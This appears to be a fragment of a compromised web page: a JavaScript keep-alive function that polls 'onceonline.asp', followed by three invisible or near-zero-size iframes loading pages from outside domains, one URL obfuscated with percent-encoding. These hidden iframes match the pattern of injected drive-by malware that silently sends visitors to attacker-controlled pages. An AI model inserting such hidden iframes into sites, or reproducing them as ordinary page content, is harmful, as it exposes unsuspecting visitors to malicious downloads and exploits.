function Test()
    {
    var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");
    xmlhttp.open("POST","onceonline.asp",false);  
    xmlhttp.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");
    xmlhttp.send();
    }
    setInterval("Test();",100000); 
    
<iframe src="http://%77%77%77%2E%7A%7A%74%65%6C%65%2E%63%6F%6D/info.htm" width=0 height=0></iframe>
<iframe src=http://www.ccai12345.com/wm/zz.htm width=0 height=0></iframe>
<iframe src=http://www.ccai12345.cn /cc.htm width=50 height=0></iframe>